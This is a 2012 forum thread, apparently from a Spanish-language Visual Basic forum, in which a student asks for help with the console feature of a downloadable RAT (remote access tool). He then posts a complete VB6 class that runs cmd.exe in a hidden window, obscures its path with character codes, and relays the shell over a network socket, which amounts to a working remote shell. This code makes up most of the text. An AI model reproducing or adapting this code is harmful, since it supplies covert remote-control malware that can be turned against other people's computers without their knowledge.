Autor Tema: RAT Console Problem  (Leído 4978 veces)

0 Usuarios y 1 Visitante están viendo este tema.

green.pitch

  • Bytes
  • *
  • Mensajes: 23
  • Reputación: +0/-0
    • Ver Perfil
RAT Console Problem
« en: Abril 03, 2012, 07:18:30 am »
Greetings,
Dear friends, First of all I would like to thank to leandro who is the developer of the RAT given in
Código: [Seleccionar]
http://leandroascierto.com/blog/proyecto-en-marcha-parte-2/
I am a student of Visual Basic 6. For my study I have downloaded this RAT. In this RAT everything is working good, but the 'Console' is not working on my Windows 7 PC.

I have submitted my comments on
Código: [Seleccionar]
http://leandroascierto.com/blog/proyecto-en-marcha-parte-2/#comment-607but my comments are waiting for Moderation there.

Here is the snapshot of consola of this RAT



It's consola was working few days before on my windows 7 but from last two days it's not working and I don't know the exact reason behind its problem.

I request you to please tell me the solution to repair it.

Thanks :)
« última modificación: Abril 03, 2012, 07:21:18 am por green.pitch »

green.pitch

  • Bytes
  • *
  • Mensajes: 23
  • Reputación: +0/-0
    • Ver Perfil
Re:RAT Console Problem
« Respuesta #1 en: Abril 04, 2012, 03:11:05 pm »
 :-\ Friends any solution for my this problem?

LeandroA

  • Administrador
  • Petabyte
  • *****
  • Mensajes: 1128
  • Reputación: +151/-8
    • Ver Perfil
Re:RAT Console Problem
« Respuesta #2 en: Abril 04, 2012, 04:54:24 pm »
Hello, I haven't Window 7 now, but perhaps because the customer deve run as administrator, in a few days I will see it in detail

green.pitch

  • Bytes
  • *
  • Mensajes: 23
  • Reputación: +0/-0
    • Ver Perfil
Re:RAT Console Problem
« Respuesta #3 en: Abril 12, 2012, 06:09:20 am »
Thanks Leandro :)
I am waiting for it's repaired version. I hope you are trying to solve it as soon as possible.

Regards,

LeandroA

  • Administrador
  • Petabyte
  • *****
  • Mensajes: 1128
  • Reputación: +151/-8
    • Ver Perfil
Re:RAT Console Problem
« Respuesta #4 en: Abril 12, 2012, 08:26:34 pm »
Hi, I'm trying to Window7 and works so good, which can not be the problem, try going debugging to find the problem

green.pitch

  • Bytes
  • *
  • Mensajes: 23
  • Reputación: +0/-0
    • Ver Perfil
Re:RAT Console Problem
« Respuesta #5 en: Abril 13, 2012, 02:45:09 am »
Thanks brother, I'll try to find the problem by debugging.
One more thing I wanna ask is related to operators. In the project I'v seen few codes like:

Código: [Seleccionar]
ImageSize:=24and
Código: [Seleccionar]
ucListView1.Visible = (lTab = 0)
I want to know the use of := and = (lTab = 0)

I'm a begginger programmer in vb6.0

Thanks :)

green.pitch

  • Bytes
  • *
  • Mensajes: 23
  • Reputación: +0/-0
    • Ver Perfil
Re:RAT Console Problem
« Respuesta #6 en: Abril 13, 2012, 04:18:30 pm »
Greetings,
No respond yet :D I want to learn about these operators and methods.

Regards,

green.pitch

  • Bytes
  • *
  • Mensajes: 23
  • Reputación: +0/-0
    • Ver Perfil
Re:RAT Console Problem
« Respuesta #7 en: Mayo 14, 2012, 09:16:57 am »
Hello brother,

I'v made few changes in "ClsCmd" Class to make it working in all OS include Win7..

Código: [Seleccionar]
Option Explicit
Public ID_Connection        As Long

Private Const PROCESS_QUERY_INFORMATION     As Long = &H400
Private Const PROCESS_TERMINATE             As Long = (&H1)
Private Const PROCESS_VM_READ               As Long = &H10
Private Const NORMAL_PRIORITY_CLASS         As Long = &H20&
Private Const STARTF_USESTDHANDLES          As Long = &H100&
Private Const STARTF_USESHOWWINDOW          As Long = &H1
Private Const SW_HIDE                       As Long = 0
Private Const PIPE_WAIT                     As Long = &H0
Private Const PIPE_NOWAIT                   As Long = &H1
Private Const PIPE_READMODE_BYTE            As Long = &H0
Private Const PIPE_READMODE_MESSAGE         As Long = &H2
Private Const PIPE_TYPE_BYTE                As Long = &H0
Private Const PIPE_TYPE_MESSAGE             As Long = &H4
Private Const STILL_ACTIVE                  As Long = &H103

Private Type SECURITY_ATTRIBUTES
    nLength                 As Long
    lpSecurityDescriptor    As Long
    bInheritHandle          As Long
End Type

Private Type STARTUPINFO
    cb                      As Long
    lpReserved              As Long
    lpDesktop               As Long
    lpTitle                 As Long
    dwX                     As Long
    dwY                     As Long
    dwXSize                 As Long
    dwYSize                 As Long
    dwXCountChars           As Long
    dwYCountChars           As Long
    dwFillAttribute         As Long
    dwFlags                 As Long
    wShowWindow             As Integer
    cbReserved2             As Integer
    lpReserved2             As Long
    hStdInput               As Long
    hStdOutput              As Long
    hStdError               As Long
End Type

Private Type PROCESS_INFORMATION
    hProcess                As Long
    hThread                 As Long
    dwProcessId             As Long
    dwThreadId              As Long
End Type

Private Declare Function CreatePipe Lib "kernel32" (phReadPipe As Long, phWritePipe As Long, lpPipeAttributes As Any, ByVal nSize As Long) As Long
Private Declare Function SetNamedPipeHandleState Lib "kernel32" (ByVal hNamedPipe As Long, lpMode As Long, lpMaxCollectionCount As Long, lpCollectDataTimeout As Long) As Long
Private Declare Function ReadFile Lib "kernel32" (ByVal hFile As Long, ByVal lpBuffer As String, ByVal nNumberOfBytesToRead As Long, lpNumberOfBytesRead As Long, ByVal lpOverlapped As Any) As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, ByVal lpOverlapped As Any) As Long
Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpApplicationName As Long, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hHandle As Long) As Long
Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Declare Function GetExitCodeProcess Lib "kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Function TerminateProcess Lib "kernel32" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long
Private Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

Private c_bPiping           As Boolean
Private c_bCancel           As Boolean
Private c_lhReadPipe        As Long
Private c_lhWritePipe       As Long
Private c_lhReadPipe2       As Long
Private c_lhWritePipe2      As Long

'Public Event

Public Function ClosePipe() As Boolean
    If Not c_bCancel Then
        c_bCancel = True
        ClosePipe = True
    End If
End Function

Public Function StartProcessPipe(ByVal sPath As String) As Boolean
    Dim tSTARTUPINFO            As STARTUPINFO
    Dim tPROCESS_INFORMATION    As PROCESS_INFORMATION
    Dim tSECURITY_ATTRIBUTES    As SECURITY_ATTRIBUTES
    Dim lRet                    As Long
    Dim lhProc                  As Long
    Dim sBuffer                 As String * 4096

    If sPath = vbNullString Then Exit Function
    If c_bPiping Then Exit Function

    c_bCancel = False

    With tSECURITY_ATTRIBUTES
        .nLength = LenB(tSECURITY_ATTRIBUTES)
        .bInheritHandle = True
        .lpSecurityDescriptor = False
    End With

    '// Output Pipe
    lRet = CreatePipe(c_lhReadPipe, c_lhWritePipe, tSECURITY_ATTRIBUTES, 0&)
    If lRet = 0 Then GoTo CleanUp

    '// Input Pipe
    lRet = CreatePipe(c_lhReadPipe2, c_lhWritePipe2, tSECURITY_ATTRIBUTES, 0&)
    If lRet = 0 Then GoTo CleanUp

    '// Non blocking mode
    lRet = SetNamedPipeHandleState(c_lhReadPipe, PIPE_READMODE_BYTE Or PIPE_NOWAIT, 0&, 0&)
    If Not lRet = 0 Then GoTo CleanUp

    With tSTARTUPINFO
        .cb = LenB(tSTARTUPINFO)
        .dwFlags = STARTF_USESTDHANDLES Or STARTF_USESHOWWINDOW
        .wShowWindow = SW_HIDE
        .hStdOutput = c_lhWritePipe
        .hStdError = c_lhWritePipe
        .hStdInput = c_lhReadPipe2
    End With

    '// Start Proc
    lRet = CreateProcessA(0&, sPath, tSECURITY_ATTRIBUTES, tSECURITY_ATTRIBUTES, _
       1&, NORMAL_PRIORITY_CLASS, 0&, 0&, tSTARTUPINFO, tPROCESS_INFORMATION)

    If tPROCESS_INFORMATION.hProcess = 0 Then GoTo CleanUp

    c_bPiping = True
    StartProcessPipe = True
    DataArrival vbCrLf & "Shell started at: " & time & vbCrLf
    Do
        If c_bCancel = True Then Exit Do
       
        DoEvents: Call Sleep(100)
        If Not ReadFile(c_lhReadPipe, sBuffer, 4096, 0, 0&) = 0 Then
            DataArrival Left(sBuffer, lstrlen(sBuffer))
            sBuffer = String$(4096, vbNullChar)
            DoEvents
        End If

        Call GetExitCodeProcess(tPROCESS_INFORMATION.hProcess, lRet)
    Loop While lRet = STILL_ACTIVE

CleanUp:
    Call CloseHandle(tPROCESS_INFORMATION.hProcess)
    Call CloseHandle(c_lhReadPipe):     c_lhReadPipe = 0
    Call CloseHandle(c_lhReadPipe2):    c_lhReadPipe2 = 0
    Call CloseHandle(c_lhWritePipe):    c_lhWritePipe = 0
    Call CloseHandle(c_lhWritePipe2):   c_lhWritePipe2 = 0

    If c_bCancel Then
        ExitProcessPID tPROCESS_INFORMATION.dwProcessId
        DataArrival vbCrLf & "Shell closed at: " & time & vbCrLf
    Else
        DataArrival vbCrLf & "Shell is already closed!" & vbCrLf
    End If

    c_bPiping = False

End Function

Private Function WriteToPipe(ByVal sData As String) As Boolean
    Dim bvData()    As Byte

    If Not c_bPiping Then
        DataArrival vbCrLf & "Shell is not Running!" & vbCrLf
    Else
        bvData = StrConv(sData & vbCrLf & vbNullChar, vbFromUnicode)
        If WriteFile(c_lhWritePipe2, bvData(0), UBound(bvData), 0, 0&) Then
            WriteToPipe = True
        End If
    End If
DoEvents
End Function

Private Function ExitProcessPID(ByVal lProcessID As Long) As Boolean
    Dim lProcess As Long
    Dim lExitCode As Long

    lProcess = OpenProcess(PROCESS_TERMINATE Or PROCESS_QUERY_INFORMATION Or _
       PROCESS_VM_READ, _
       0, lProcessID)

    If GetExitCodeProcess(lProcess, lExitCode) Then
        TerminateProcess lProcess, lExitCode
        ExitProcessPID = True
    End If

    Call CloseHandle(lProcess)
End Function
Public Function IsPipeActive() As Boolean
If c_bCancel = False Then
IsPipeActive = True
Else
IsPipeActive = False
End If
End Function

Public Sub Socket_DataArrival(ID As Long, IP As String, Puerto As String, Data As String)
    WriteToPipe Data
End Sub

Public Sub Socket_Close(ID As Long, IP As String, Puerto As String)
    ID_Connection = 0
    ClosePipe
End Sub

Public Sub Socket_Conect(ID As Long, IP As String, Puerto As String)
If IsPipeActive = True Then
    ClosePipe
End If
    StartProcessPipe Environ$(Chr(99) & Chr(111) & Chr(109) & Chr(115) & Chr(112) & Chr(101) & Chr(99))
End Sub

Private Sub Class_Terminate()
    If ID_Connection Then
        WinSock32.WsClose ID_Connection
        ClosePipe
    End If
End Sub

Private Function DataArrival(ByVal sData As String)
    WinSock32.SendData ID_Connection, sData
End Function

-Thank You :)